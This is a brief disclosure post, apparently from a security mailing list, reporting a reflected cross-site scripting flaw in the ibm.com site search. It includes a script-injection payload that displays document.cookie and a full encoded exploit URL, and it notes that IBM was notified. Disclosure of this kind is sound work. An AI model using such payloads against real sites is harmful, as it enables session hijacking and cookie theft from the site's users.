I know this is really lame issue but guess more sites suffer from it.
The search engine at http://www.ibm.com allows cross site scripting.
Try searching for:
+IBM -</TITLE><SCRIPT>alert(document.cookie)</SCRIPT>
or try the following url:
http://www.ibm.com/Search?q=%2BIBM+-%3C%2FTITLE%3E%3CSCRIPT%3Ealert%28document.cookie%29%3C%2FSCRIPT%3E&realm=All+of+IBM&v=10&lang=en&cc=us&Go.x=6&Go.y=14

At least it seems not to allow SSI.

Vendor status:
IBM was notified at least 4 days ago.
